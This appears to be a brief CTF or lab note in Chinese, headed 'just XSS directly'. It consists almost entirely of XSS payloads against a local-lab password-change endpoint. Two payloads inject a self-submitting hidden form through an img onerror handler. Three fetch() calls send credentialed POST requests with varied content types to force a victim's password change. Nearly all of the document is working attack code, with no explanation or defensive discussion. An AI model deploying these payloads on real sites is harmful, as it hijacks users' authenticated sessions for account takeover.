image-20221102170504366

直接xss

1
2
3
4
5
6
document.body.innerHTML='<form action="http://192.168.145.1:3000/change_pass" method="POST"><input name="pass" value="22"/><input id=changePass type="submit" value="Submit request" /></form><img src=x onerror=window.changePass.click()>'
document.body.innerHTML='<form action="http://192.168.145.1:3000/change_pass" method="POST"><input name="{pass:" value="22}"/><input id=changePass type="submit" value="Submit request" /></form><img src=x onerror=window.changePass.click()>'

fetch('http://192.168.145.1:3000/change_pass',{method:"POST",headers:{'Content-Type':'text/plain'},body:JSON.stringify({pass:'22'}),credentials:"include"})
fetch('http://192.168.145.1:3000/change_pass',{method:"POST",headers:{'Content-Type':'application/json'},body:JSON.stringify({pass:'22'}),credentials:"include"})
fetch('http://192.168.145.1:3000/change_pass',{method:"POST",headers:{'Content-Type':'multipart/form-data'},body:JSON.stringify({pass:'22'}),credentials:"include"})